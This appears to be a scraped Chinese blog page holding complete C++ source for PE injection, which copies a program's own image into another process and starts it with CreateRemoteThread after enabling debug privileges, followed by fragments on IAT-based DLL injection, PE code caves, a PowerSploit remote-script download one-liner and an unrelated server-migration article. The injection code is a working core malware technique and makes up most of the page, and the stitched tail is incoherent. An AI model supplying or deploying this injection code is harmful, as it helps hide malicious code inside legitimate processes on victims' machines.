PE注入

  1 // PE注入.cpp : 定义控制台应用程序的入口点。
  2 //
  3
  4 #include "stdafx.h"
  5
  6 #include <windows.h>
  7
  8 #include <tlhelp32.h>
  9
 10 #include <process.h>
 11
 12 #include <stdio.h>
 13
 14
 15
 16 #pragma comment (lib, "winmm.lib")
 17
 18
 19 #pragma comment (lib, "kernel32.lib")
 20
 21 /*获取进程ID号*/
 22
 23 DWORD GetProcessIdByName(LPWSTR name)
 24
 25 {
 26
 27     PROCESSENTRY32 pe32;
 28
 29     HANDLE snapshot = NULL;
 30
 31     DWORD pid = 0;
 32
 33
 34
 35     snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 36
 37     if (snapshot != INVALID_HANDLE_VALUE)
 38
 39     {
 40
 41         pe32.dwSize = sizeof(PROCESSENTRY32);
 42
 43         if (Process32First(snapshot, &pe32))
 44
 45         {
 46
 47             do
 48
 49             {
 50
 51                 if (!lstrcmp(pe32.szExeFile, name))
 52
 53                 {
 54
 55                     pid = pe32.th32ProcessID;
 56
 57                     break;
 58
 59                 }
 60
 61             } while (Process32Next(snapshot, &pe32));
 62
 63         }
 64
 65         CloseHandle(snapshot);
 66
 67     }
 68
 69     return pid;
 70
 71 }
 72
 73 extern "C" void mainCRTStartup();
 74 DWORD main();
 75
 76 /**
 77  
 78  * 远程进程内存中注入PE
 79   
 80   */
 81
 82 HMODULE injectModule(HANDLE proc, LPVOID module)
 83
 84
 85
 86 {
 87
 88
 89     DWORD i = 0;
 90
 91     DWORD_PTR delta = NULL;
 92
 93     DWORD_PTR olddelta = NULL;
 94
 95     /* 获取模块PE头 */
 96
 97     PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
 98
 99     PIMAGE_DATA_DIRECTORY datadir;
100
101
102
103     /* 计算注入代码长度 */
104
105     DWORD moduleSize = headers->OptionalHeader.SizeOfImage;
106
107     LPVOID distantModuleMemorySpace = NULL;
108
109     LPBYTE tmpBuffer = NULL;
110
111     BOOL ok = FALSE;
112
113     if (headers->Signature != IMAGE_NT_SIGNATURE)
114
115         return NULL;
116
117     if (IsBadReadPtr(module, moduleSize))
118
119         return NULL;
120
121     distantModuleMemorySpace = VirtualAllocEx(proc, NULL, moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
122
123     if (distantModuleMemorySpace != NULL)
124
125     {
126
127         tmpBuffer = (LPBYTE)VirtualAlloc(NULL, moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
128
129         if (tmpBuffer != NULL)
130
131         {
132
133             RtlCopyMemory(tmpBuffer, module, moduleSize);
134
135             datadir = &headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
136
137             if (datadir->Size > 0 && datadir->VirtualAddress > 0)
138
139             {
140
141                 delta = (DWORD_PTR)((LPBYTE)distantModuleMemorySpace - headers->OptionalHeader.ImageBase);
142
143
144
145                 olddelta = (DWORD_PTR)((LPBYTE)module - headers->OptionalHeader.ImageBase);
146
147
148
149
150
151                 PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(tmpBuffer + datadir->VirtualAddress);
152
153
154
155                 while (reloc->VirtualAddress != 0)
156
157                 {
158
159                     if (reloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
160
161                     {
162
163                         DWORD relocDescNb = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
164
165
166
167                         LPWORD relocDescList = (LPWORD)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION));
168
169
170
171                         for (i = 0; i < relocDescNb; i++)
172
173                         {
174
175                             if (relocDescList[i] > 0)
176
177                             {
178
179                                 DWORD_PTR *p = (DWORD_PTR *)(tmpBuffer + (reloc->VirtualAddress + (0x0FFF & (relocDescList[i]))));
180
181
182
183                                 *p -= olddelta;
184
185                                 *p += delta;
186
187                             }
188
189                         }
190
191                     }
192
193                     reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock);
194
195                 }
196
197
198
199                 tmpBuffer[(DWORD)main - (DWORD)module] = 0x55;
200
201
202
203                 ok = WriteProcessMemory(proc, distantModuleMemorySpace, tmpBuffer, moduleSize, NULL);
204
205             }
206
207             VirtualFree(tmpBuffer, 0, MEM_RELEASE);
208
209         }
210
211
212
213         if (!ok)
214
215
216
217         {
218
219
220             VirtualFreeEx(proc, distantModuleMemorySpace, 0, MEM_RELEASE);
221
222             distantModuleMemorySpace = NULL;
223
224         }
225
226     }
227
228     return (HMODULE)distantModuleMemorySpace;
229
230 }
231
232
233 /**
234  
235  * 获取DEBUG权限
236   
237   */
238
239 BOOL EnableDebugPrivileges(void)
240
241 {
242
243     HANDLE token;
244
245     TOKEN_PRIVILEGES priv;
246
247     BOOL ret = FALSE;
248
249
250
251     if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
252
253     {
254
255         priv.PrivilegeCount = 1;
256
257         priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
258
259
260
261         if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid) != FALSE &&
262
263             AdjustTokenPrivileges(token, FALSE, &priv, 0, NULL, NULL) != FALSE)
264
265         {
266
267             ret = TRUE;
268
269         }
270
271         CloseHandle(token);
272
273     }
274
275     return ret;
276
277 }
278
279 BOOL peInjection(DWORD pid, LPTHREAD_START_ROUTINE callRoutine)
280
281 {
282
283     HANDLE proc, thread;
284
285     HMODULE module, injectedModule;
286
287
288
289     BOOL result = FALSE;
290
291
292
293
294     proc = OpenProcess(PROCESS_CREATE_THREAD |
295
296         PROCESS_QUERY_INFORMATION |
297
298         PROCESS_VM_OPERATION |
299
300         PROCESS_VM_WRITE |
301
302         PROCESS_VM_READ,
303
304         FALSE,
305
306         pid);
307
308
309
310     if (proc != NULL)
311
312     {
313
314         module = GetModuleHandle(NULL);
315
316         injectedModule = (HMODULE)injectModule(proc, module);
317
318         if (injectedModule != NULL)
319
320         {
321
322             LPTHREAD_START_ROUTINE remoteThread = (LPTHREAD_START_ROUTINE)((LPBYTE)injectedModule + (DWORD_PTR)((LPBYTE)callRoutine - (LPBYTE)module));
323
324             thread = CreateRemoteThread(proc, NULL, 0, remoteThread, NULL, 0, NULL);
325
326             if (thread != NULL)
327
328             {
329
330                 CloseHandle(thread);
331
332                 result = TRUE;
333
334             }
335
336             else
337
338             {
339
340                 VirtualFreeEx(proc, module, 0, MEM_RELEASE);
341
342             }
343
344         }
345
346         CloseHandle(proc);
347
348     }
349
350     return result;
351
352 }
353
354 DWORD WINAPI entryThread(LPVOID param)
355
356 {
357
358
359
360     DWORD newModuleD = (DWORD)param;
361
362
363     MessageBox(NULL, L"Injection success.Now initializing runtime library.", NULL, 0);
364
365     //mainCRTStartup();
366
367     MessageBox(NULL, L"This will never be called.", NULL, 0);
368
369     return 0;
370
371 }
372
373 void entryPoint()
374
375 {
376
377     MessageBox(NULL, L"entryPoint", NULL, 0);
378
379     EnableDebugPrivileges();
380
381
382
383     //peInjection(GetProcessIdByName(L"explorer.exe"), entryThread);
384     peInjection( 6384, entryThread);
385
386 }
387 DWORD main()
388
389 {
390
391     //MessageBox(NULL, L"In Main ", NULL, 0);
392
393     printf("This printf can work because runtime library is now initialized.\n");
394     entryPoint();
395
396
397
398
399     //(NULL, L"In main end", NULL, 0);
400
401     ExitThread(0);
402
403     return 0;
404
405 }
406
407  

通过此方法可将一个进程的完整镜像完全注入到另外一个进程的内存空间中,从而在一个进程空间中包含了两套不同的代码。与DLL注入相比,PE注入的主要优势是不需要很多文件,只需要MAIN.EXE注入到其他进程并唤起自身代码即可。

时间: 2024-12-10 20:36:08

PE注入的相关文章

PE知识复习之PE文件空白区添加代码

PE知识复习之PE文件空白区添加代码 一丶简介 根据上面所讲PE知识.我们已经可以实现我们的一点手段了.比如PE的入口点位置.改为我们的入口位置.并且填写我们的代码.这个就是空白区添加代码. 我们也可以利用这个知识.实现PEDLL注入. 原理就是 修改入口. 跳转到我们空白区执行我们的代码.我们空白区进行重定位.调用Loadlibary. 并且load的是我们的DLL 实现功能就是 我们只要给PE注入了代码.那么这个PE程序一旦启动就会加载我们的DLL 关于PEDLL注入,后面会有博客分类中会讲

解析DELL R710服务器迁移操作内容

操作设备信息:源服务器: DELL R710 服务器.3块盘Raid5.2块盘Raid1.1块盘热备,Windows2008操作系统.目标服务器 :DELL R730服务器 .6块盘 .无操作系统.需求描述:由于用户操作系统存在特殊软件,需要进行整体迁移.现需从Windows2008操作系统-源服务器DELL R710 迁移到目标服务器DELL R730,由于目标服务器与源服务器的硬件差异,无法直接迁移.具体操作形式如下所示:一.使用Winhex进行系统克隆关闭源服务器和目标服务器电源,将源服务

不同硬件配置的服务器之间如何进行数据迁移

企业在发展过程中伴随着业务的扩大,企业的IT设备也需要不断的更新,服务器作为企业的普遍使用的IT设备也需要不断的对硬件设备进行更新换代以满足企业的发展需求.在使用服务器过程中如果需要更新服务器硬件设施时,需要将原服务器内的数据迁移到新服务器上,那么应该如何安全的将数据从一台服务器内传输到硬件配置完全不同的另一台服务器上呢?本文以一台某品牌的r710服务器数据迁移到r730服务器上为例为大家介绍不同硬件配置的服务器之间应该如何迁移数据源服务器型号为r710 服务器,服务器上共有6块硬盘,其中3块盘

powersploit使用实例

一.AntivirusBypass(绕过杀毒) Find-AVSignature  发现杀软的签名 1.先在靶机(windows 2008)上远程加载位于win7的Invoke-Shellcode.ps1脚本 iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/AntivirusBypass/Find-AVSignature.ps1") 2.运行脚本,这里以之前的msf

PE病毒初探——向exe注入代码

PE文件其实就是Windows可执行文件,关于它的一些简要介绍摘自百度: PE文件被称为可移植的执行体是Portable Execute的全称,常见的EXE.DLL.OCX.SYS.COM都是PE文件,PE文件是微软Windows操作系统上的程序文件(可能是间接被执行,如DLL). http://baike.baidu.com/view/1087038.htm 有一种病毒是针对PE文件进行的操作,他们会感染一些exe,将自己的代码添加到exe中并在某处悄悄地窃取执行权限执行自己的代码进行破坏或者

Dll注入:修改PE文件 IAT注入

PE原理就不阐述了, 这个注入是PE感染的一种,通过添加一个新节注入,会改变PE文件的大小,将原有的导入表复制到新节中,并添加自己的导入表描述符,最后将数据目录项中指向的导入表的入口指向新节. 步骤: 1.添加一个新节;映射PE文件,判断是否可以加一个新节,找到节的尾部,矫正偏移,对齐RVA 填充新节PIMAGE_SECTION_HEADER,修改IMAGE_NT_HEADERS,将新节添加到文件尾部 2.修改导入表:判断是否使用了绑定导入表,往新节中拷贝原导入表内容,继续构造新的导入表描述符P

PE基础6_远程线程注入-HOOK(消息-InLine-IAT)

注入 概述 DLL注入的初始动力源自于程序员对其他第三方应用程序进行功能扩展的愿望 注入方式有 注册表注入 ComRes注入 APC注入 消息钩子注入 远程线程注入 依赖可信进程注入 劫持进程创建注入 输入法注入 远程线程注入 //要加载的dll路径 WCHAR szDllPath[] = L"C:\\Users\\42140\\source\\repos\\34windows原理PE \\Debug\\16InjectDll.dll"; ? int main() { //1.要注入,

[DLL注入的方法]静态修改PE输入表法

1.三种DLL加载时机: 进程创建加载输入表中的DLL(静态输入) 通过调用LoadLibrary主动加载(动态加载) 系统预设加载 通过干预输入表处理过程加载目标dll 1.静态修改PE输入表法(测试程序 Notepad.exe) 准备工作:自行编写一个MsgDLL,到处一个函数Msg(); #include "stdafx.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpRe

恶意代码分析工具(进程信息、dll注入、PE解析等)